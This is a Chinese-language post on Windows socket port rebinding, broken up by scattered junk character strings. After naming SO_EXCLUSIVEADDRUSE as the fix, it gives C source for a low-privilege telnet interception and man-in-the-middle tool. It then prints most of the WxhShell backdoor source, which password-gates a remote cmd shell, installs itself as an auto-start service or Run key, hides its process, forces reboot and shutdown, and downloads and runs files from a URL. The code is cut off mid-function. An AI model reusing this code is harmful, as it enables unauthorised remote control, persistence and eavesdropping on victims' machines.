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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ksOANLRN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8~s-t dy6F+V\DG saddr.sin_family = AF_INET; U8QR*"GmT M ,_^hm7 saddr.sin_addr.s_addr = htonl(INADDR_ANY); HDSA]{:sl $-fj rQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0bPJEEd k$0|^GL8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i_9Cc$Qh< 01-\:[{ 这意味着什么?意味着可以进行如下的攻击: q(&^9" {GX
&)c4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ndKvJH 4 M89-*1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?`T6CRZhr {*<O"|v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @wB'3q}( d)hzi 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 6Y>,e;R N}}PlGp$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =hugnX<9 3<jAp#bE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1fO2)$Y liCCc;&B; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RQ*|+~H !4 4mT'Y #include 7SA-OFM #include TRySl5jx@ #include ,Y g5X #include DX&lBV DWORD WINAPI ClientThread(LPVOID lpParam); @;m@Luk int main() A4#3O5kij { mV**9-" WORD wVersionRequested; 8tT&BmT DWORD ret; GLaZN4` WSADATA wsaData; s.p1L BOOL val; EvSnZB1 y SOCKADDR_IN saddr; <i:*p1#Bm SOCKADDR_IN scaddr; OXIu>jF int err; H)j[eZP SOCKET s; _>jrlIfc SOCKET sc; ;9p#xW6 int caddsize; i3M?D}(Bs HANDLE mt; ]uStn DWORD tid; AT%*
~tr wVersionRequested = MAKEWORD( 2, 2 ); As6)_8w err = WSAStartup( wVersionRequested, &wsaData ); M\\e e3Ih if ( err != 0 ) { "UhK]i*@l printf("error!WSAStartup failed!\n"); =qV4Sje|q return -1; Wk\mgGn+ } 7,W]zKH saddr.sin_family = AF_INET; ;<bj{#mMv E'&OOEMN- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &AQg'| qEK4I}Q-= saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /`4v"f0V saddr.sin_port = htons(23); >YJ8u{Z{o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]/ZA/:Oa+ { Vp(D|}P printf("error!socket failed!\n"); G!!-+n< return -1; #RR:3ZPZC } B&4fYpn val = TRUE; e?^\r)1
//SO_REUSEADDR选项就是可以实现端口重绑定的 e'k;A{Oh if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ueWR/ { %jbJ6c printf("error!setsockopt failed!\n"); zqHpT^B? return -1; pW*{Mx } xecieC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jy\W_CT //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )XmCy"xx pgz:F#> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) klK-,J { #;\L,a|>* ret=GetLastError(); p|&ZJ@3 printf("error!bind failed!\n"); pY{; Yn&t return -1; ULp)T`P } 9]]!8_0=r listen(s,2); 7af?E)}v while(1) V]l&{hl, { t7jh?] caddsize = sizeof(scaddr); ]k[Q]:q //接受连接请求 8BYIxHHz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); egZyng
pB if(sc!=INVALID_SOCKET) V;>9&'Z3 { JwN}Jm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #d}0}7ue if(mt==NULL) 4o1Q7 { Q `e~MD printf("Thread Creat Failed!\n"); >:w?qEaE break; c8^+^.=pX } tyc8{t#Z } -kG3k> by_ CloseHandle(mt); (w5u*hx } |Hx%f closesocket(s); ?8Hn{3X WSACleanup(); ]%gp?9wy return 0; fkdf~Vb } 33=Mm/<m$P DWORD WINAPI ClientThread(LPVOID lpParam) x2
w8zT6M { #5'c\\?Q SOCKET ss = (SOCKET)lpParam; jo 7Hyw!g SOCKET sc; 3c01uObTL unsigned char buf[4096]; "-G&=( SOCKADDR_IN saddr; >|l;*Kw,/P long num; P_,v5Qx"- DWORD val; ??|d=4g\ DWORD ret; KotPV //如果是隐藏端口应用的话,可以在此处加一些判断 +90u!r^v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 AkxH saddr.sin_family = AF_INET; E)KB@f<g* saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f:_=5e
+ saddr.sin_port = htons(23); Oq #o1> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DY)D(f/&3 { =jJ H^Y2 printf("error!socket failed!\n"); 9T8|y]0F return -1; ;): 8yBMk } L_tjcfVo val = 100; Ty`-r5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >pgQb9
T+_ { IkSX\* ret = GetLastError(); e{v,x1Y_z( return -1; pG)9=X!9 } P#AAOSlLV if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gsW=3m&` { Z6 t E{/ ret = GetLastError(); ?RZq =5Um& return -1; 4st~3,lR$ } t{+M|Y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Jb(DJ-& { f&6w;T= printf("error!socket connect failed!\n"); 99J+$A1 closesocket(sc); PPUEkvH
W closesocket(ss); KjO-0VMN3 return -1; gsnP!2cR } '
be P while(1) u8|@|t { C>AcK#-x,{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5iP8D<;o5 //如果是嗅探内容的话,可以再此处进行内容分析和记录 bBA$}bv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J2rvJ2l=t num = recv(ss,buf,4096,0); j%#?m2J} if(num>0) [m~b[ZwES send(sc,buf,num,0); fr8Xoa%1= else if(num==0) ksTzXG8 break; .6\T`6H=a num = recv(sc,buf,4096,0); EY
So=
if(num>0) BTOA &Ag send(ss,buf,num,0); ^&C&~}Zv else if(num==0) uK"^*NEC'; break; I|H,)!Z } I!61 K closesocket(ss); )X7e$<SU* closesocket(sc); :M@MmpPh return 0 ; 64?Pfir6 } `+oV/:Q3 b2G2 cL-( g4Y) Bz ========================================================== ])eOa% U9x4j_.q 下边附上一个代码,,WXhSHELL pfR"s:# +e U`H[iu ========================================================== ?2/uSG| *nLIXnm #include "stdafx.h" <} &7 a s y7>iz6N #include <stdio.h> 8Bj4_!g #include <string.h> nHnk#SAAu #include <windows.h> xsYE=^uv #include <winsock2.h> /CH(!\bQ #include <winsvc.h> hiAxh
Y #include <urlmon.h> mU>&ql?e Jms=YLIAA #pragma comment (lib, "Ws2_32.lib") expxp#S #pragma comment (lib, "urlmon.lib") )^&,Dj <]~ZPk[ #define MAX_USER 100 // 最大客户端连接数 Og=[4?Kpk #define BUF_SOCK 200 // sock buffer 4e}{$s$Xx #define KEY_BUFF 255 // 输入 buffer juH wHt 4b]_
#7Qm #define REBOOT 0 // 重启 Yhe+u\vGs\ #define SHUTDOWN 1 // 关机 "2%>M sA3UeTf #define DEF_PORT 5000 // 监听端口 k'g$2 p<q].^M #define REG_LEN 16 // 注册表键长度 <8f(eP\*F #define SVC_LEN 80 // NT服务名长度 u %'y_C3 U7E // 从dll定义API o_sQQF typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .?B{GnB> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l^ARW
E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \9'!"-i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6p#g0t I'dj. // wxhshell配置信息 cs
t&0 struct WSCFG { W+.{4K int ws_port; // 监听端口 inZi3@h)T char ws_passstr[REG_LEN]; // 口令 jM]d'E?ZLA int ws_autoins; // 安装标记, 1=yes 0=no \2j|=S6 char ws_regname[REG_LEN]; // 注册表键名 wrabyRjK char ws_svcname[REG_LEN]; // 服务名 6ga5^6W char ws_svcdisp[SVC_LEN]; // 服务显示名 *o!l/>4g char ws_svcdesc[SVC_LEN]; // 服务描述信息 @7fm1b char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <FQFv
IKg int ws_downexe; // 下载执行标记, 1=yes 0=no jP+ pA e char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 2)=la%Nx char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U,'EF[t vnTq6:f#M }; kQIfYtT .A(i=!{q // default Wxhshell configuration |:N>8%@6c struct WSCFG wscfg={DEF_PORT, *
MEe,4 "xuhuanlingzhe", 9s(i`RTM 1, x~EKGoz3 "Wxhshell", Rjq a_hxrS "Wxhshell", +TF8WZZF.d "WxhShell Service", PS$k >_=t "Wrsky Windows CmdShell Service", }a ^|L"
"Please Input Your Password: ", 9#Bx]wy 1, (')(d
HHW " http://www.wrsky.com/wxhshell.exe", 8 aZ$5^z "Wxhshell.exe" Pxqiv9D<R }; +}U2@03I ~,gLplpG0 // 消息定义模块 ~r&D6Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TY~Vi OC char *msg_ws_prompt="\n\r? for help\n\r#>"; +;dXDZ2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; q? 9GrwL8F char *msg_ws_ext="\n\rExit."; uH\w. char *msg_ws_end="\n\rQuit."; 4%J|D cY2 char *msg_ws_boot="\n\rReboot..."; 5,R`@&K3D char *msg_ws_poff="\n\rShutdown..."; NF mc>0- char *msg_ws_down="\n\rSave to "; #uKWuGz] (ii(yz| char *msg_ws_err="\n\rErr!"; s/t11; char *msg_ws_ok="\n\rOK!"; m2 O&2[g UOt8Q0)} char ExeFile[MAX_PATH]; '_0 int nUser = 0; Bc<n2 C0 HANDLE handles[MAX_USER]; M|8
3HTJ int OsIsNt; /zT`Y=1 6G}c1nWU SERVICE_STATUS serviceStatus; B.*"Xfr8 SERVICE_STATUS_HANDLE hServiceStatusHandle; JDA]t&D!v J{tVa(. // 函数声明 6,+nRiZ int Install(void); B |&F%P0: int Uninstall(void); #tDW!Xv? int DownloadFile(char *sURL, SOCKET wsh); bi$VAYn.^ int Boot(int flag); mxp Y&Y void HideProc(void); yFjVKp'P int GetOsVer(void); |dk[cX> int Wxhshell(SOCKET wsl); 8W -@N void TalkWithClient(void *cs); H^
BYd%- int CmdShell(SOCKET sock); xA #H0?a] int StartFromService(void); pj;
I)-d/ int StartWxhshell(LPSTR lpCmdLine); 6t7fa< k ZxW"2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k>5 O`Y: VOID WINAPI NTServiceHandler( DWORD fdwControl ); rwgsXS8W6 ,Sg33N? // 数据结构和表定义 YeyGN SERVICE_TABLE_ENTRY DispatchTable[] = mmP U
{ Pl78fs"L@ {wscfg.ws_svcname, NTServiceMain}, ]?&FOzN5$P {NULL, NULL} D:JS)+] }; /:p8I6; :1;Q(9:v // 自我安装 X;!~<~@Y int Install(void) bfdVED { p/*"4-S char svExeFile[MAX_PATH]; #epy%> HKEY key; p`P~i&_ strcpy(svExeFile,ExeFile); pbLGe' d~Mg
vh' // 如果是win9x系统,修改注册表设为自启动 S
GM!#K if(!OsIsNt) { 78]gtJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JJnYOau RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P^i.La, RegCloseKey(key); E\$C/}T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d#>y }H9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &z@~B&O RegCloseKey(key); CT*,<l-D return 0; h}&b+1{X } <kbyZXV@K } KOSQQf
o } }l;Lxb2` else { ~pz FZ7n4 }ZzLs/v%X // 如果是NT以上系统,安装为系统服务 u|fXP)>. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u
#~;&D*q if (schSCManager!=0) 5<+KR.W { RH[+1z8 SC_HANDLE schService = CreateService JE;+T[I ( FS@A8Bb schSCManager, H l<$a"K7\ wscfg.ws_svcname, Cq\I''~8 wscfg.ws_svcdisp, :2y"3azxk SERVICE_ALL_ACCESS, B42sb_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zwr\:Hu4 SERVICE_AUTO_START, W^3;F1 SERVICE_ERROR_NORMAL, 1@_T m svExeFile, n:4uA`Vg NULL, Z
cpmquf8L NULL, |W7rr1]~S NULL, _0(7GE13p NULL,
4["&O=:d NULL -JV~[-, ); (
u`W!{1\ if (schService!=0) HOZRYIQB { OYmi?y\ CloseServiceHandle(schService); 8)wt$b CloseServiceHandle(schSCManager); hfrnxeM#~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C@gXT]Q
0} strcat(svExeFile,wscfg.ws_svcname); +sZUJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { = yXs?y" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L
CSeOR RegCloseKey(key); YnTB&GPxl return 0; }roG( } AK-}V4C/A } 2Z/K(J"&J CloseServiceHandle(schSCManager); KnzsHli,~k } JTW)*q9a } Q6'nSBi:A_ ~cqryr9
return 1; -]S.<8<$ } 1*Ar{:+ua XDz5b., // 自我卸载 nII^mg~ int Uninstall(void) sl|_=oXT { jirbUl HKEY key; glUo7^ay7 23ze/;6%A if(!OsIsNt) { f3tv3>p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]axh*J3`i RegDeleteValue(key,wscfg.ws_regname); *xs!5|n+ RegCloseKey(key); kB
P*K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <J{'o`{ RegDeleteValue(key,wscfg.ws_regname); I+;-p]~ RegCloseKey(key); Tg
?x3?kw return 0; f CcD&<% } aT!;{+ } ~;#MpG;e } }!d;(/)rb else { *}!MOqP ma& To= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "Ty/k8? if (schSCManager!=0) ,FQK;BU!lh { NAr1[{^E, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _GoVx=t
if (schService!=0) KL?) akk { H+C6[W= if(DeleteService(schService)!=0) { L;6.r3bL CloseServiceHandle(schService); \%A%s*1 CloseServiceHandle(schSCManager); xN0*8 return 0; xUWr}j4; } &KC!*}<tx CloseServiceHandle(schService); Ufid%T' } { T]?o~W CloseServiceHandle(schSCManager); =zg:aTMti } =VP=|g } 2+"r~#K* JXU2CyMY return 1; 8E^@yZo{ } jE/oA<^ f [o%hCS // 从指定url下载文件 x"4%(xBu int DownloadFile(char *sURL, SOCKET wsh) GdmmrfXB { r/:%}(7; HRESULT hr; 2>PH8 char seps[]= "/"; 'r}fZ char *token; 3OqX/z, char *file; XvGA|Ekf< char myURL[MAX_PATH]; ]!{y
a8 char myFILE[MAX_PATH]; O&Z'r kBEmmgL strcpy(myURL,sURL); sz95i|@/ token=strtok(myURL,seps); /SR^C$h'I while(token!=NULL) " Ar*QJ0] { !K0JV|-?t file=token; <vc`^Q&4B token=strtok(NULL,seps); 3I=kr } +a+`Z>
Ob<W/-%5tH GetCurrentDirectory(MAX_PATH,myFILE); W{"XJt_ strcat(myFILE, "\\"); ) g1a'G strcat(myFILE, file); 3Rv7Qx send(wsh,myFILE,strlen(myFILE),0); x4K`]Fvhl send(wsh,"...",3,0); <:;^'x>! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hfM;/ if(hr==S_OK) nBLj [ return 0; ]s1 YaNq else aP()|js return 1; A.%CAGU5w B|{I:[ } 3:CO{=`\7B ;h/pnmhP // 系统电源模块 2j&@p> int Boot(int flag) >yK0iK{ { nKh&-E HANDLE hToken; }At{'8*n TOKEN_PRIVILEGES tkp; fnu"*5bE sq0 PBEqq if(OsIsNt) { lPP,` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .0y%5wz8j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~P f5ORoe tkp.PrivilegeCount = 1; r.3KPiYK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g@v
s*xE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fP-|+TyO if(flag==REBOOT) { dE=Ue#1U@5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )ZR+lX} return 0; Qo0H } )9j06(<A else { ?pGkk=,KB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [J#1Ff; return 0; Bx~[F } U bz"rCjq } viaJblYj(f else { M#jN-ix if(flag==REBOOT) { udqS'g& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q=cQLf;/' return 0; fQLax } \x\
5D^Vc else { MBr:?PE7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d+L#t return 0; (jWss V1 } <9A@`_';Aq } ]`=X'fED ]Uc`J8p, return 1; S 01wwZ } \+PIe7f_ BN_7Ay/k // win9x进程隐藏模块 5i So8*9} void HideProc(void) (Ye>Cp+] { WOytxE O9h+Q\0\W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gPC@Yy if ( hKernel != NULL ) W0`Gc
{ { !Jfs?Hy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {{yt*7k { ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Owv+1+B FreeLibrary(hKernel); *wbZ;rfF } D^F{uDlb 3TuC+'`G return; \k8rxW } keAcKhj }E^S]hdvz // 获取操作系统版本 LJzH"K[Gg6 int GetOsVer(void) JcO08n { |1=
!;.# OSVERSIONINFO winfo; T5lQIr@a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xycH~ ? GetVersionEx(&winfo); Z+:D)L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [Gr*,nVvB return 1; y6HuN else tJI,r_ return 0; w5C*L)l } BNGe
exs@ 3ha|0[r9 // 客户端句柄模块 -\$`ic$"1 int Wxhshell(SOCKET wsl) Kf,-4) { TW&DFKK` SOCKET wsh; dWRrG-' struct sockaddr_in client; M~
h8Crz DWORD myID; ^C^*,V3 %i{;r35M;9 while(nUser<MAX_USER) *e"a0 { cd@.zg'sYn int nSize=sizeof(client); 8%{q%+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jk~:\8M(A if(wsh==INVALID_SOCKET) return 1; !mfJpJ dx_6X!=.J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bo_ym36N if(handles[nUser]==0) ZDLMMXx> closesocket(wsh); Bd0eC#UGkQ else D #2yIec nUser++; zri}
h/{ } *iXe^ <6v WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N> Jw zzpZ19"`1 return 0; ^+70<#Xc } "
BTE 2-If]Fc // 关闭 socket ]hw-Bu\{ void CloseIt(SOCKET wsh) p
QE)p
{ YhKZ|@ closesocket(wsh); NY nUser--; FpV`#6i7 ExitThread(0); j#A%q"]8 } US&B!Q:v 5CYo7mJ6+ // 客户端请求句柄 43:t
\ void TalkWithClient(void *cs) &M&{yc*% { A]`:VC=IU j}HFs0<L SOCKET wsh=(SOCKET)cs; iAO5"(>}? char pwd[SVC_LEN]; MEZ{j%-a char cmd[KEY_BUFF]; 2i=H"('G)+ char chr[1]; "u^EleE! int i,j; m$Y
:0_^- X!,@j\L while (nUser < MAX_USER) { P~C rtTss _cI_# if(wscfg.ws_passstr) { FY0%XW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $r.U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [2Mbk~ //ZeroMemory(pwd,KEY_BUFF); $ACx*e% i=0; "l~Ci7& !a while(i<SVC_LEN) { |cbd6e{! ,32xcj}j)r // 设置超时 f|3q^wjs
fd_set FdRead; N_wp{4 0/ struct timeval TimeOut; ks(SjEF FD_ZERO(&FdRead); Ws[D{dS/ FD_SET(wsh,&FdRead); %n?vJ#aX% TimeOut.tv_sec=8; ?s%v0cF TimeOut.tv_usec=0; $< %B#axL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |WqOk~)[Z3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *dE^-dm# ?H|T&66 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x!7yU_ls` pwd =chr[0]; Nud,\mXrY[ if(chr[0]==0xd || chr[0]==0xa) { mO rWJ~= pwd=0; G$WOzY( break; ?r_kyuU } fZryG i++; :J_oj:0r"f } Pi6C/$
K 5>0.NiXGf' // 如果是非法用户,关闭 socket "cUg>a3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i2,U,>. } 1JS2SxF 7!V@/S}7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |hzT; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;2`sN
}7/e8 O2 while(1) { UGKaOol. ?bX ZeroMemory(cmd,KEY_BUFF); ~5aE2w0K lJ // 自动支持客户端 telnet标准 HOW7cV'X j=0; o
\L!(hm while(j<KEY_BUFF) { wrv5V M} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W:s@L#- cmd[j]=chr[0]; **;p(CI if(chr[0]==0xa || chr[0]==0xd) { 7}
O;FX+x cmd[j]=0; X T>('qy break; *>
3Qd7 } o+?@5zw-& j++; htJuGfDx1 } 4jwu'7Q =7/-i // 下载文件 =
1|"- if(strstr(cmd,"http://")) { [Eq<":) send(wsh,msg_ws_down,strlen(msg_ws_down),0); d"<F!?8 if(DownloadFile(cmd,wsh)) [s6C
ZcL send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7!4V>O8@ else E,"&-`/2v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JSVeU54T^< } ^$?qT60%d| else { APBK9ky :h5J r8 switch(cmd[0]) { pA4 ,@O v548ysE) // 帮助 5G*II_j case '?': { :hqZPajE send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V0i9DK|! break; G?)vWM`j } .Ao0;:;(2- // 安装 K b(9)Re case 'i': { ';YgG<u if(Install()) D'i6",Z> send(wsh,msg_ws_err,strlen(msg_ws_err),0); !$xu(D. else Eu<r$6Q0}o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :=. *I break; !k&)EWP? } ~l4f{uOD>] // 卸载 F8mC?fbK9 case 'r': { Yv\!vW7I if(Uninstall()) g`Md80*Zfk send(wsh,msg_ws_err,strlen(msg_ws_err),0); 00<{: else >M4"|W U_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =4NqjSH break; ;bjnL>eW } <0j{ $. // 显示 wxhshell 所在路径 Ol+Kp!ocY case 'p': { g:~+Pe char svExeFile[MAX_PATH]; TipHV;|e strcpy(svExeFile,"\n\r"); W
kkxU.xXE strcat(svExeFile,ExeFile); mb1IQ & send(wsh,svExeFile,strlen(svExeFile),0); xy^1US,L1 break; vOT*iax0 } X0i3 _RVa // 重启 h}Ygb-uZ case 'b': { mnQ'X-q3iO send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4F#%f#" if(Boot(REBOOT)) R}%8s* send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8F6h#%9 else { ^#SBpLw closesocket(wsh); zy)i1d ExitThread(0); _wu*M } P[i\e7mR break; 2P}I'4C- } f1cl'; // 关机 SGf9U^ds case 'd': { P;U@y"s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >4)g4~'n! if(Boot(SHUTDOWN)) Rt4di^v send(wsh,msg_ws_err,strlen(msg_ws_err),0); .h8M else { \qq-smcM- closesocket(wsh); z,Xk\@ ExitThread(0); 5si}i'in } 7'.s7&
'7 break; %C*^:\y } gGbI3^r# // 获取shell PrnrXl
S case 's': { n`<S&KP| CmdShell(wsh); eV;me>, closesocket(wsh); G11cNr>* ExitThread(0); 2ksA.,UB^9 break; )Vk:YL++ } qi\n] I // 退出 rO^xz7K^ case 'x': { 2%YXc|gGT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DrS?=C@ CloseIt(wsh); vInFo.e[4 break; g!^J ,e= } In(NF# // 离开 Mq+<mX7 case 'q': { Bl4 dhBZoO send(wsh,msg_ws_end,strlen(msg_ws_end),0); fN[n>%)VO< closesocket(wsh); {j@+h%sF>+ WSACleanup(); -Enbcz(B exit(1); I~RcOiL) break; Phlk1*1n } G8P+A1
f/> } SCq3Ds^ } /djACA 7^wE$7hS // 提示信息 cjY@Ot*i$ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4A o{M } ND,`QjmZ } _LLshV3 4x]NUt return; h AAU ecx } U.Hdbmix fI}c 71b` // shell模块句柄 %!wq:~B1 int CmdShell(SOCKET sock) &;U|7l~vl { gz\j('~-D STARTUPINFO si; 8p,>y(o ZeroMemory(&si,sizeof(si)); XGk}e4;_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
FV8\+ep si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,;3:pr PROCESS_INFORMATION ProcessInfo; BhkAQEsWTQ char cmdline[]="cmd"; Iaa|qJ4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wa, 7P2r return 0; BHclUwj } RAOKZ~` lk o3]A3 // 自身启动模式 ULu O0\W int StartFromService(void) 8bGD { k+txb? typedef struct *-7fa0< { i-"<[*ePd DWORD ExitStatus; F*!gzKZ" DWORD PebBaseAddress; /&6Q) DWORD AffinityMask; !PI0oh DWORD BasePriority; !qS05 ULONG UniqueProcessId; +{^'i P ULONG InheritedFromUniqueProcessId; $w `veP } PROCESS_BASIC_INFORMATION; ck~ '`<7 =W|vOfy PROCNTQSIP NtQueryInformationProcess; "c EvFY 8J^d7uC static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +7^w9G static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X&,N}9>B >vxWx[fRu HANDLE hProcess; )BpIxWd? PROCESS_BASIC_INFORMATION pbi; 7YD\ !2b C=s((q* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $~ VcQ if(NULL == hInst ) return 0; V^WQ6G1 oE 5;|x3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Fz!6F2w 